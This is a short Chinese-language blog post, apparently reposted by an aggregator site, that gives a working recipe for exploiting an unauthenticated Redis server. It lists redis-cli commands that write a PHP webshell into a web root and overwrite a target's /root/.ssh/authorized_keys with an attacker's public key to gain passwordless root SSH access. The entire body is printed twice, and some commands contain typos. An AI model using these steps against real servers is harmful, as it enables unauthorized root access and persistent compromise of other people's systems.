redis写shell与ssh免密码登陆
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了redis写shell与ssh免密码登陆相关的知识,希望对你有一定的参考价值。
redis-cli参数:
-h :指定要连接的主机IP或域名
-p :指定连接的端口
-a :指定密码
-r :执行指定的命令
-n :数据库名
-x :将最后一个参数输出为value
redis写shell-----端口6379 redis-cli -h 127.0.0.1
config set dir ar/www/webroot/
config set dbfilename redis.php
set webshell "<?php phpinfo();?>"
save
ssh-keygen -t rsa -P "" -P表示登陆密码
scp /root/.ssh/id_rsa.pub [email protected]:/root/.ssh/authorized_keys
chmod 600 authorized_keys
导出id_ras.pub
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
连接目标192.168.199.166的redis 通过-x参数将key.txt 设置为 key “crackit” 的value 实际上对方的数据库上已经有一个key —value
cat key.txt | redis-cli -h 192.168.199.166 -x set crackit
redis-cli -h 192.168.199.166 # 连接目标主机的redis
config get dir #获取redis的备份路径
config set dir /root/.ssh #设置数据库的备份路径
config set dbfilename authorized_keys #设置备份的数据库名称为authorized_keys
config get dbfilename # 查看数据库名是否正确设置
key * #查看我们的key是否成功创建
save # 将数据保存在硬盘之中
-h :指定要连接的主机IP或域名
-p :指定连接的端口
-a :指定密码
-r :执行指定的命令
-n :数据库名
-x :将最后一个参数输出为value
redis写shell-----端口6379 redis-cli -h 127.0.0.1
config set dir ar/www/webroot/
config set dbfilename redis.php
set webshell "<?php phpinfo();?>"
save
ssh-keygen -t rsa -P "" -P表示登陆密码
scp /root/.ssh/id_rsa.pub [email protected]:/root/.ssh/authorized_keys
chmod 600 authorized_keys
导出id_ras.pub
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
连接目标192.168.199.166的redis 通过-x参数将key.txt 设置为 key “crackit” 的value 实际上对方的数据库上已经有一个key —value
cat key.txt | redis-cli -h 192.168.199.166 -x set crackit
redis-cli -h 192.168.199.166 # 连接目标主机的redis
config get dir #获取redis的备份路径
config set dir /root/.ssh #设置数据库的备份路径
config set dbfilename authorized_keys #设置备份的数据库名称为authorized_keys
config get dbfilename # 查看数据库名是否正确设置
key * #查看我们的key是否成功创建
save # 将数据保存在硬盘之中
以上是关于redis写shell与ssh免密码登陆的主要内容,如果未能解决你的问题,请参考以下文章